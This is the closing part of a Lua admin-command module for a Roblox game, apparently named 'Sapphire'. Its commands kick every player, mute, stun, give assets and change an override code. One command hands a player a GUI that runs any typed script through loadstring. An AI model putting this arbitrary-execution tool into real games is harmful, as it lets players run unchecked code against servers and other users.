		game:GetObjects("rbxassetid://"..tostring(AfterSplit))[1].Parent = plr.Backpack
	end
end)

NewCommand('Shutdown','sd',5,'Shutdown the server',function(player,message)
	for i,v in pairs(game.Players:GetPlayers()) do
		v:kick('[Sapphire]: Server has been shutdown.')
	end
end)

NewCommand("Script Executor GUI","exegui",5,"Give someone a script executor gui",function(player,message)
	for _,plr in next,GetPlayers(player,message) do
		-- Objects

local ScreenGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local TextButton = Instance.new("TextButton")
local TextBox = Instance.new("TextBox")
local TextButton_2 = Instance.new("TextButton")
local TextButton_3 = Instance.new("TextButton")
local TextLabel = Instance.new('TextLabel')

-- Properties

ScreenGui.Parent = plr.PlayerGui

Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.new(0, 0, 0.498039)
Frame.BackgroundTransparency = 0.5
Frame.Draggable = true
Frame.Position = UDim2.new(0.5, -200, 0.5, -200)
Frame.Selectable = true
Frame.Size = UDim2.new(0, 400, 0, 400)
Frame.Visible = true

TextButton.Parent = Frame
TextButton.BackgroundColor3 = Color3.new(0, 0, 0)
TextButton.BackgroundTransparency = 0.60000002384186
TextButton.Position = UDim2.new(0, 380, 0, 0)
TextButton.Size = UDim2.new(0, 20, 0, 20)
TextButton.FontSize = Enum.FontSize.Size24
TextButton.Text = "-"
TextButton.TextColor3 = Color3.new(1, 1, 1)

TextBox.Parent = Frame
TextBox.BackgroundColor3 = Color3.new(1, 1, 1)
TextBox.Position = UDim2.new(0, 50, 0, 50)
TextBox.Size = UDim2.new(0, 300, 0, 250)
TextBox.ClearTextOnFocus = false
TextBox.Font = Enum.Font.SourceSans
TextBox.FontSize = Enum.FontSize.Size14
TextBox.MultiLine = true
TextBox.Text = "INPUT YOUR SCRIPT HERE"
TextBox.TextScaled = false
TextBox.TextWrapped = true
TextBox.TextXAlignment="Left"
TextBox.TextYAlignment="Top"

TextButton_2.Parent = Frame
TextButton_2.BackgroundColor3 = Color3.new(0, 0, 0)
TextButton_2.Position = UDim2.new(0, 50, 0, 330)
TextButton_2.Size = UDim2.new(0, 50, 0, 50)
TextButton_2.Font = Enum.Font.SourceSansBold
TextButton_2.FontSize = Enum.FontSize.Size24
TextButton_2.Text = "EXE"
TextButton_2.TextColor3 = Color3.new(1, 1, 1)

TextButton_3.Parent = Frame
TextButton_3.BackgroundColor3 = Color3.new(0.666667, 0, 0)
TextButton_3.Position = UDim2.new(0, 300, 0, 330)
TextButton_3.Size = UDim2.new(0, 50, 0, 50)
TextButton_3.Font = Enum.Font.SourceSansBold
TextButton_3.FontSize = Enum.FontSize.Size24
TextButton_3.Text = "CLR"
TextButton_3.TextColor3 = Color3.new(1, 1, 1)

TextLabel.Parent = Frame
TextLabel.Text = "SCRIPT EXECUTION GUI"
TextLabel.Size = UDim2.new(0, 380, 0, 20)
TextLabel.TextScaled = true
TextLabel.TextColor3 = Color3.new(255,255,255)
TextLabel.BackgroundTransparency = 1
TextLabel.Selectable = true
TextLabel.Draggable = true

TextButton.MouseButton1Click:connect(function()
	if Frame.Size == UDim2.new(0, 400, 0, 400) then
		Frame.Size = UDim2.new(0, 400, 0, 20)
		TextButton.Text = "+"
		TextBox.Visible,TextButton_2.Visible,TextButton_3.Visible = false,false,false
	else
		Frame.Size = UDim2.new(0, 400, 0, 400)
		TextButton.Text = "-"
		TextBox.Visible,TextButton_2.Visible,TextButton_3.Visible = true,true,true
	end
end)
TextButton_2.MouseButton1Click:connect(function()
	local success,errored = loadstring(TextBox.Text)
	if success and not errored then
		success()
	else
		TextBox.Text = "Error: "..errored
	end
end)

TextButton_3.MouseButton1Click:connect(function()
	TextBox.Text = ""
end)
	end
end)

NewCommand('Mute','mute',6,'Mute a player',function(player,message)
	for _,plr in next,GetPlayers(player,message) do
		Sbexe('x/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)', plr)
	end
end)

NewCommand('UnMute','unmute',6,'UnMute a player',function(player,message)
	for _,plr in next,GetPlayers(player,message) do
		Sbexe('x/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, true)', plr)
	end
end)

NewCommand("Stun","stun",3,"Stun a player",function(player,message)
	for _,plr in next,GetPlayers(player,message) do
		plr.Character.Humanoid.PlatformStand = true
	end
end)

NewCommand("Change Override Code","newcode",7,"Change the override code to Sapphire",function(player,message)
	Override = message
end)

NewCommand("UnStun","unstun",3,"UnStun a player",function(player,message)
	for _,plr in next,GetPlayers(player,message) do
		plr.Character.Humanoid.PlatformStand = false
	end
end)

--Loadup--

for i,v in pairs(game.Players:GetPlayers()) do
     Output(v, 'Welcome to Sapphire, '..v.Name..'!',GetColor(v))
     Output(v, 'Your rank is: '..GetRank(v),'Deep orange')
     Output(v, 'Click to show commands','Bright green',function() Commands_E(v) end)
     Output(v, 'Dismiss','Really red',function() Dismiss(v) end)
     Output(v, 'Your suffix is '..GetSuffix(v), 'Cyan')

	   if GetRank(v) >= 1 then
	     Services.ChatService:GetSpeaker(v.Name):SetExtraData("NameColor", Color3.new( 170, 0, 127))
	     Services.ChatService:GetSpeaker(v.Name):SetExtraData("ChatColor", Color3.new( 255, 255, 0))
     else
	     Services.ChatService:GetSpeaker(v.Name):SetExtraData("NameColor", Color3.new( 0, 170, 255))
	     Services.ChatService:GetSpeaker(v.Name):SetExtraData("ChatColor", Color3.new( 0, 180, 0))
	     end

     v.Chatted:connect(function(m)
           Chatted(v, m)
   end)
end

function setChatColor(player)
	pcall(function()
		coroutine.wrap(function()
		if GetRank(player) >= 1 then
	     Services.ChatService:GetSpeaker(player.Name):SetExtraData("NameColor", Color3.new( 170, 0, 127))
	     Services.ChatService:GetSpeaker(player.Name):SetExtraData("ChatColor", Color3.new( 255, 255, 0))
     else
	     Services.ChatService:GetSpeaker(player.Name):SetExtraData("NameColor", Color3.new( 0, 170, 255))
	     Services.ChatService:GetSpeaker(player.Name):SetExtraData("ChatColor", Color3.new( 0, 180, 0))
		     end
		end)()
	end)
end

return module